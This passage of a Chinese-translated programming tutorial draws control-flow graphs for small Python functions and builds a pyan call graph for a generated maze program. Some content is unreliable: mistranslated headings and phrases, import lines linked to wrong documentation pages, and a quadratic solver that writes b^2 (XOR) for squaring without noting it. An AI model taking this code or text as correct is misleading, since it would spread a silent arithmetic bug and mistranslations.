font-size="14.00" text-anchor="middle" x="377.5" y="-290.3">11: if: b != c</text></g> <g class="edge" id="edge13"><title>3->9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="331.5" y="-333.8">F</text></g> <g class="edge" id="edge12"><title>4->8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="130.5" y="-246.8">F</text></g> <g class="node" id="node11"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.5" y="-203.3">4: if: b == c</text></g> <g class="edge" id="edge9"><title>4->5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="184" y="-246.8">T</text></g> <g class="edge" id="edge10"><title>5->6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="174" y="-149.3">T</text></g> <g class="edge" id="edge11"><title>5->7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="259.5" y="-149.3">F</text></g> <g class="edge" id="edge17"><title>9->13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="381.5" y="-246.8">F</text></g> <g class="node" id="node13"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="487.5" y="-203.3">12: if: a == c</text></g> <g class="edge" id="edge14"><title>9->10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="443" y="-246.8">T</text></g> <g class="edge" id="edge15"><title>10->11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="488" y="-149.3">T</text></g> <g class="edge" id="edge16"><title>10->12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="579.5" y="-149.3">F</text></g></g></svg>
+
+#### cgi_decode
+
+请注意，我们尚不支持*扩展分配*：即`+=`之类的分配
+
+```py
+def cgi_decode(s):
+    hex_values = {
+        '0': 0, '1': 1, '2': 2, '3': 3, '4': 4,
+        '5': 5, '6': 6, '7': 7, '8': 8, '9': 9,
+        'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14, 'f': 15,
+        'A': 10, 'B': 11, 'C': 12, 'D': 13, 'E': 14, 'F': 15,
+    }
+
+    t = ""
+    i = 0
+    while i < len(s):
+        c = s[i]
+        if c == '+':
+            t += ' '
+        elif c == '%':
+            digit_high, digit_low = s[i + 1], s[i + 2]
+            i += 2
+            if digit_high in hex_values and digit_low in hex_values:
+                v = hex_values[digit_high] * 16 + hex_values[digit_low]
+                t += chr(v)
+            else:
+                raise ValueError("Invalid encoding")
+        else:
+            t += c
+        i += 1
+    return t
+
+```
+
+```py
+graph = to_graph(gen_cfg(inspect.getsource(cgi_decode)))
+
+```
+
+```py
+Source(graph)
+
+```
+
+<svg height="1152pt" viewBox="0.00 0.00 812.50 1152.00" width="813pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 1148)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="620" y="-1118.3">1: enter: cgi_decode(s)</text></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="620" y="-1047.8">2: hex_values = {'0': 0, '1': 1, '2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7':</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="620" y="-1032.8">   7, '8': 8, '9': 9, 'a': 10, 'b': 11, 'c': 12, 'd': 13, 'e': 14, 'f': 15,</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="620" y="-1017.8">   'A': 10, 'B': 11, 'C': 12, 'D': 13, 'E': 14, 'F': 15}</text></g> <g class="edge" id="edge2"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="420" y="-641.3">1: exit: cgi_decode(s)</text></g> <g class="node" id="node3"><title>18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="472" y="-718.3">26: return t</text></g> <g class="edge" id="edge1"><title>18->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="620" y="-951.3">9: t = ''</text></g> <g class="edge" id="edge3"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="620" y="-878.3">10: i = 0</text></g> <g class="edge" id="edge4"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="620" y="-805.3">11: while: i < len(s)</text></g> <g class="edge" id="edge5"><title>5->6</title></g> <g class="edge" id="edge21"><title>6->18</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="559" y="-761.8">F</text></g> <g class="node" id="node9"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="620" y="-718.3">12: c = s[i]</text></g> <g class="edge" id="edge7"><title>6->7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="624.5" y="-761.8">T</text></g> <g class="node" id="node8"><title>17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="498" y="-14.3">25: i += 1</text></g> <g class="edge" id="edge6"><title>17->6</title></g> <g class="node" id="node10"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="620" y="-641.3">13: if: c == '+'</text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node11"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="479" y="-496.3">14: t += ' '</text></g> <g class="edge" id="edge9"><title>8->9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="560.5" y="-593.8">T</text></g> <g class="node" id="node12"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="620" y="-550.3">15: if: c == '%'</text></g> <g class="edge" id="edge10"><title>8->10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="624" y="-593.8">F</text></g> <g class="edge" id="edge17"><title>9->17</title></g> <g class="node" id="node13"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="405" y="-442.3">16: digit_high, digit_low = s[i + 1], s[i + 2]</text></g> <g class="edge" id="edge11"><title>10->11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="583.5" y="-496.3">T</text></g> <g class="node" id="node18"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="657" y="-388.3">24: t += c</text></g> <g class="edge" id="edge16"><title>10->16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="640" y="-496.3">F</text></g> <g class="node" id="node14"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="374" y="-334.3">17: i += 2</text></g> <g class="edge" id="edge12"><title>11->12</title></g> <g class="node" id="node15"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="353" y="-261.3">18: if: digit_high in hex_values and digit_low in hex_values</text></g> <g class="edge" id="edge13"><title>12->13</title></g> <g class="edge" id="edge19"><title>13->17</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="335" y="-130.8">F</text></g> <g class="node" id="node16"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="498" y="-174.3">19: v = hex_values[digit_high] * 16 + hex_values[digit_low]</text></g> <g class="edge" id="edge14"><title>13->14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="439.5" y="-217.8">T</text></g> <g class="node" id="node17"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="498" y="-87.3">20: t += chr(v)</text></g> <g class="edge" id="edge15"><title>14->15</title></g> <g class="edge" id="edge18"><title>15->17</title></g> <g class="edge" id="edge20"><title>16->17</title></g></g></svg>
+
+#### gcd
+
+```py
+def gcd(a, b):
+    if a<b:
+        c: int = a
+        a: int = b
+        b: int = c
+
+    while b != 0 :
+        c: int = a
+        a: int = b
+        b: int = c % b
+    return a
+
+```
+
+```py
+graph = to_graph(gen_cfg(inspect.getsource(gcd)))
+
+```
+
+```py
+Source(graph)
+
+```
+
+<svg height="672pt" viewBox="0.00 0.00 341.94 672.00" width="342pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 668)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="221.8437" y="-638.3">1: enter: gcd(a, b)</text></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="221.8437" y="-561.3">2: if: a < b</text></g> <g class="edge" id="edge2"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="74.8437" y="-91.3">1: exit: gcd(a, b)</text></g> <g class="node" id="node3"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="92.8437" y="-168.3">11: return a</text></g> <g class="edge" id="edge1"><title>11->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="179.8437" y="-474.3">3: c: int = a</text></g> <g class="edge" id="edge3"><title>3->4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="208.3437" y="-517.8">T</text></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="219.8437" y="-255.3">7: while: b != 0</text></g> <g class="edge" id="edge7"><title>3->7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="265.8437" y="-401.3">F</text></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="172.8437" y="-401.3">4: a: int = b</text></g> <g class="edge" id="edge4"><title>4->5</title></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="178.8437" y="-328.3">5: b: int = c</text></g> <g class="edge" id="edge5"><title>5->6</title></g> <g class="edge" id="edge6"><title>6->7</title></g> <g class="edge" id="edge12"><title>7->11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="168.8437" y="-211.8">F</text></g> <g class="node" id="node10"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="219.8437" y="-168.3">8: c: int = a</text></g> <g class="edge" id="edge9"><title>7->8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="224.3437" y="-211.8">T</text></g> <g class="node" id="node9"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="259.8437" y="-14.3">10: b: int = c % b</text></g> <g class="edge" id="edge8"><title>10->7</title></g> <g class="node" id="node11"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="219.8437" y="-91.3">9: a: int = b</text></g> <g class="edge" id="edge10"><title>8->9</title></g> <g class="edge" id="edge11"><title>9->10</title></g></g></svg>
+
+```py
+def compute_gcd(x, y): 
+    if x > y: 
+        small = y 
+    else: 
+        small = x 
+    for i in range(1, small+1): 
+        if((x % i == 0) and (y % i == 0)): 
+            gcd = i 
+
+    return gcd 
+
+```
+
+```py
+graph = to_graph(gen_cfg(inspect.getsource(compute_gcd)))
+
+```
+
+```py
+Source(graph)
+
+```
+
+<svg height="613pt" viewBox="0.00 0.00 640.64 613.00" width="641pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 609)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="283.2405" y="-579.3">1: enter: compute_gcd(x, y)</text></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="283.2405" y="-502.3">2: if: x > y</text></g> <g class="edge" id="edge2"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="111.2405" y="-105.3">1: exit: compute_gcd(x, y)</text></g> <g class="node" id="node3"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="143.2405" y="-182.3">10: return gcd</text></g> <g class="edge" id="edge1"><title>11->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="233.2405" y="-415.3">3: small = y</text></g> <g class="edge" id="edge3"><title>3->4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="265.7405" y="-458.8">T</text></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="334.2405" y="-415.3">5: small = x</text></g> <g class="edge" id="edge4"><title>3->5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="315.2405" y="-458.8">F</text></g> <g class="node" id="node7"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="283.2405" y="-342.3">6: __iv = iter(range(1, small + 1))</text></g> <g class="edge" id="edge5"><title>4->6</title></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node8"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="283.2405" y="-269.3">6: for: __iv.__length__hint__() > 0</text></g> <g class="edge" id="edge7"><title>6->7</title></g> <g class="edge" id="edge13"><title>7->11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="226.2405" y="-225.8">F</text></g> <g class="node" id="node11"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="348.2405" y="-182.3">6: i = next(__iv)</text></g> <g class="edge" id="edge10"><title>7->8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="323.7405" y="-225.8">T</text></g> <g class="node" id="node9"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="266.2405" y="-14.3">8: gcd = i</text></g> <g class="edge" id="edge8"><title>10->7</title></g> <g class="node" id="node10"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="455.2405" y="-105.3">7: if: x % i == 0 and y % i == 0</text></g> <g class="edge" id="edge9"><title>9->7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="438.2405" y="-182.3">F</text></g> <g class="edge" id="edge12"><title>9->10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="375.7405" y="-57.8">T</text></g> <g class="edge" id="edge11"><title>8->9</title></g></g></svg>
+
+#### 光纤
+
+注意， *for循环*需要额外的按摩。 在正确显示标签的同时，需要提取*比较节点*。 因此，表示不准确。
+
+```py
+def fib(n,):
+    l = [0, 1]
+    for i in range(n-2):
+        l.append(l[-1]+l[-2])
+    return l
+
+```
+
+```py
+graph = to_graph(gen_cfg(inspect.getsource(fib)))
+
+```
+
+```py
+Source(graph)
+
+```
+
+<svg height="439pt" viewBox="0.00 0.00 399.56 439.00" width="400pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 435)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="195.7805" y="-405.3">1: enter: fib(n)</text></g> <g class="node" id="node4"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="195.7805" y="-328.3">2: l = [0, 1]</text></g> <g class="edge" id="edge2"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="87.7805" y="-18.3">1: exit: fib(n)</text></g> <g class="node" id="node3"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="87.7805" y="-95.3">5: return l</text></g> <g class="edge" id="edge1"><title>8->2</title></g> <g class="node" id="node5"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="195.7805" y="-255.3">3: __iv = iter(range(n - 2))</text></g> <g class="edge" id="edge3"><title>3->4</title></g> <g class="node" id="node6"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="195.7805" y="-182.3">3: for: __iv.__length__hint__() > 0</text></g> <g class="edge" id="edge4"><title>4->5</title></g> <g class="edge" id="edge8"><title>5->8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="152.7805" y="-138.8">F</text></g> <g class="node" id="node8"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="195.7805" y="-95.3">3: i = next(__iv)</text></g> <g class="edge" id="edge6"><title>5->6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="200.2805" y="-138.8">T</text></g> <g class="node" id="node7"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="261.7805" y="-18.3">4: l.append(l[-1] + l[-2])</text></g> <g class="edge" id="edge5"><title>7->5</title></g> <g class="edge" id="edge7"><title>6->7</title></g></g></svg>
+
+#### quad_solver
+
+```py
+def quad_solver(a, b, c):
+    discriminant = b^2 - 4*a*c
+    r1, r2 = 0, 0
+    i1, i2 = 0, 0
+    if discriminant >= 0:
+        droot = math.sqrt(discriminant)
+        r1 = (-b + droot) / (2*a)
+        r2 = (-b - droot) / (2*a)
+    else:
+        droot = math.sqrt(-1 * discriminant)
+        droot_ = droot/(2*a)
+        r1, i1 = -b/(2*a), droot_
+        r2, i2 = -b/(2*a), -droot_
+    if i1 == 0 and i2 == 0:
+        return (r1, r2)
+    return ((r1,i1), (r2,i2))
+
+```
+
+```py
+graph = to_graph(gen_cfg(inspect.getsource(quad_solver)))
+
+```
+
+```py
+Source(graph)
+
+```
+
+<svg height="926pt" viewBox="0.00 0.00 473.50 926.00" width="474pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 922)"><title>%3</title> <g class="node" id="node1"><title>1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="224.5" y="-892.3">1: enter: quad_solver(a, b, c)</text></g> <g class="node" id="node5"><title>3</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="224.5" y="-815.3">2: discriminant = b ^ 2 - 4 * a * c</text></g> <g class="edge" id="edge3"><title>1->3</title></g> <g class="node" id="node2"><title>2</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="212.5" y="-18.3">1: exit: quad_solver(a, b, c)</text></g> <g class="node" id="node3"><title>15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="137.5" y="-95.3">15: return r1, r2</text></g> <g class="edge" id="edge1"><title>15->2</title></g> <g class="node" id="node4"><title>16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="288.5" y="-95.3">16: return (r1, i1), (r2, i2)</text></g> <g class="edge" id="edge2"><title>16->2</title></g> <g class="node" id="node6"><title>4</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="224.5" y="-742.3">3: r1, r2 = 0, 0</text></g> <g class="edge" id="edge4"><title>3->4</title></g> <g class="node" id="node7"><title>5</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="224.5" y="-669.3">4: i1, i2 = 0, 0</text></g> <g class="edge" id="edge5"><title>4->5</title></g> <g class="node" id="node8"><title>6</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="224.5" y="-596.3">5: if: discriminant >= 0</text></g> <g class="edge" id="edge6"><title>5->6</title></g> <g class="node" id="node9"><title>7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="103.5" y="-509.3">6: droot = math.sqrt(discriminant)</text></g> <g class="edge" id="edge7"><title>6->7</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="176" y="-552.8">T</text></g> <g class="node" id="node12"><title>10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="345.5" y="-509.3">10: droot = math.sqrt(-1 * discriminant)</text></g> <g class="edge" id="edge10"><title>6->10</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="295.5" y="-552.8">F</text></g> <g class="node" id="node10"><title>8</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="145.5" y="-436.3">7: r1 = (-b + droot) / (2 * a)</text></g> <g class="edge" id="edge8"><title>7->8</title></g> <g class="node" id="node11"><title>9</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="169.5" y="-309.3">8: r2 = (-b - droot) / (2 * a)</text></g> <g class="edge" id="edge9"><title>8->9</title></g> <g class="node" id="node16"><title>14</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="212.5" y="-182.3">14: if: i1 == 0 and i2 == 0</text></g> <g class="edge" id="edge14"><title>9->14</title></g> <g class="node" id="node13"><title>11</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="338.5" y="-436.3">11: droot_ = droot / (2 * a)</text></g> <g class="edge" id="edge11"><title>10->11</title></g> <g class="node" id="node14"><title>12</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="335.5" y="-363.3">12: r1, i1 = -b / (2 * a), droot_</text></g> <g class="edge" id="edge12"><title>11->12</title></g> <g class="node" id="node15"><title>13</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="327.5" y="-255.3">13: r2, i2 = -b / (2 * a), -droot_</text></g> <g class="edge" id="edge13"><title>12->13</title></g> <g class="edge" id="edge15"><title>13->14</title></g> <g class="edge" id="edge16"><title>14->15</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="184" y="-138.8">T</text></g> <g class="edge" id="edge17"><title>14->16</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="259.5" y="-138.8">F</text></g></g></svg>
+
+## 调用图
+
+### 安装：Pyan静态调用图提升程序
+
+```py
+import [os](https://docs.python.org/3/library/os.html)
+import [networkx](https://docs.python.org/3/library/networkx.html) as [nx](https://docs.python.org/3/library/nx.html)
+from [graphviz](https://docs.python.org/3/library/graphviz.html) import Source
+
+```
+
+### 调用图助手
+
+```py
+def construct_callgraph(code, name="callgraph"):
+    file_name = name + ".py"
+    with open(file_name, 'w') as f:
+        f.write(code)
+    cg_file = name + '.dot'
+    os.system(f'pyan {file_name} --uses --defines --colored --grouped --annotated --dot > {cg_file}')
+
+def callgraph(code, name="callgraph"):
+    if not os.path.isfile(name + '.dot'):
+        construct_callgraph(code, name)
+    return Source.from_file(name + '.dot')
+
+def get_callgraph(code, name="callgraph"):
+    if not os.path.isfile(name + '.dot'):
+        construct_callgraph(code, name)
+    return nx.drawing.nx_pydot.read_dot(name + '.dot')
+
+```
+
+### 例如：迷宫
+
+为了提供一个有意义的示例，您可以在其中轻松更改代码的复杂性和目标位置，我们从作为字符串提供的迷宫中生成了迷宫源代码。 本示例大致基于Felipe Andres Manzano的旧版[博客文章](https://feliam.wordpress.com/2010/10/07/the-symbolic-maze/)，有关符号执行（快速大喊大叫！）。
+
+您只需将迷宫指定​​为字符串即可。 像这样
+
+```py
+maze_string = """
++-+-----+
+|X|     |
+| | --+ |
+| |   | |
+| +-- | |
+|     |#|
++-----+-+
+"""
+
+```
+
+`maze_string`中的每个字符代表一个图块。 对于每个图块，生成图块功能。
+
+*   如果当前图块为“良性”（），则调用与下一个输入字符（D，U，L，R）相对应的图块功能。 意外的输入字符将被忽略。 如果没有剩余的输入字符，它将返回“ VALID”和当前的迷宫状态。
+*   如果当前图块是“陷阱”（`+`，`|`和`-`），则返回“ INVALID”和当前迷宫状态。
+*   如果当前图块是“目标”（`#`），则它返回“已解决”和当前迷宫状态。
+
+使用功能`generate_maze_code`生成代码。
+
+```py
+def generate_print_maze(maze_string):
+    return """
+def print_maze(out, row, col):
+ output  = out +"\\n"
+ c_row = 0
+ c_col = 0
+ for c in list(\"\"\"%s\"\"\"):
+ if c == '\\n':
+ c_row += 1
+ c_col = 0
+ output += "\\n"
+ else:
+ if c_row == row and c_col == col: output += "X"
+ elif c == "X": output += " "
+ else: output += c
+ c_col += 1
+ return output
+""" % maze_string
+
+```
+
+```py
+def generate_trap_tile(row, col):
+    return """
+def tile_%d_%d(input, index):
+ try: HTMLParser().feed(input)
+ except: pass
+ return print_maze("INVALID", %d, %d)
+""" % (row, col, row, col)
+
+```
+
+```py
+def generate_good_tile(c, row, col):
+    code = """
+def tile_%d_%d(input, index):
+ if (index == len(input)): return print_maze("VALID", %d, %d)
+ elif input[index] == 'L': return tile_%d_%d(input, index + 1)
+ elif input[index] == 'R': return tile_%d_%d(input, index + 1)
+ elif input[index] == 'U': return tile_%d_%d(input, index + 1)
+ elif input[index] == 'D': return tile_%d_%d(input, index + 1)
+ else : return tile_%d_%d(input, index + 1)
+""" % (row, col, row, col,
+       row, col - 1, 
+       row, col + 1, 
+       row - 1, col, 
+       row + 1, col,
+       row, col)
+
+    if c == "X":
+        code += """
+def maze(input):
+ return tile_%d_%d(list(input), 0)
+""" % (row, col)
+
+    return code
+
+```
+
+```py
+def generate_target_tile(row, col):
+    return """
+def tile_%d_%d(input, index):
+ return print_maze("SOLVED", %d, %d)
+
+def target_tile():
+ return "tile_%d_%d"
+""" % (row, col, row, col, row, col)
+
+```
+
+```py
+def generate_maze_code(maze, name="maze"):
+    row = 0
+    col = 0
+    code = generate_print_maze(maze)
+
+    for c in list(maze):
+        if c == '\n':
+            row += 1
+            col = 0
+        else: 
+            if c == "-" or c == "+" or c == "|":
+                code += generate_trap_tile(row, col)
+            elif c == " " or c == "X":
+                code += generate_good_tile(c, row, col)
+            elif c == "#":
+                code += generate_target_tile(row, col)
+            else: 
+                print("Invalid maze! Try another one.")
+            col += 1
+
+    return code
+
+```
+
+现在，您可以为任意迷宫生成迷宫代码。
+
+```py
+maze_code = generate_maze_code(maze_string)
+exec(maze_code)
+
+```
+
+```py
+print(maze("DDDDRRRRUULLUURRRRDDD")) # Appending one more 'D', you have reached the target.
+
+```
+
+```py
+VALID
+
++-+-----+
+| |     |
+| | --+ |
+| |   | |
+| +-- |X|
+|     |#|
++-----+-+
+
+```
+
+这是相应的调用图。
+
+```py
+callgraph(maze_code)
+
+```
+
+<svg height="2287pt" viewBox="0.00 0.00 3826.00 2286.50" width="3826pt" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><g class="graph" id="graph0" transform="scale(1 1) rotate(0) translate(4 2282.5029)"><title>G</title> <g class="cluster" id="clust1"><title>cluster_G</title></g> <g class="cluster" id="clust2"><title>cluster_callgraphX</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1866" y="-2247.3029">callgraph</text></g> <g class="node" id="node1"><title>callgraphX</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3757" y="-1931.7125">callgraph</text></g> <g class="node" id="node2"><title>callgraphX__maze</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1970" y="-2208.4328">maze</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1970" y="-2193.4328">(callgraph.py:84)</text></g> <g class="edge" id="edge2"><title>callgraphX->callgraphX__maze</title></g> <g class="node" id="node3"><title>callgraphX__print_maze</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1267" y="-54.6701">print_maze</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1267" y="-39.6701">(callgraph.py:2)</text></g> <g class="edge" id="edge17"><title>callgraphX->callgraphX__print_maze</title></g> <g class="node" id="node4"><title>callgraphX__target_tile</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3611" y="-2208.4328">target_tile</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3611" y="-2193.4328">(callgraph.py:358)</text></g> <g class="edge" id="edge33"><title>callgraphX->callgraphX__target_tile</title></g> <g class="node" id="node5"><title>callgraphX__tile_1_0</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3616" y="-144.4102">tile_1_0</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="3616" y="-129.4102">(callgraph.py:26)</text></g> <g class="edge" id="edge22"><title>callgraphX->callgraphX__tile_1_0</title></g> <g class="node" id="node6"><title>callgraphX__tile_1_1</title> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1858" y="-1221.2916">tile_1_1</text> <text fill="#000000" font-family="Times,serif" font-size="14.00" text-anchor="middle" x="1858" y="-1206.2916">(callgraph.py:31)</text></g> <g 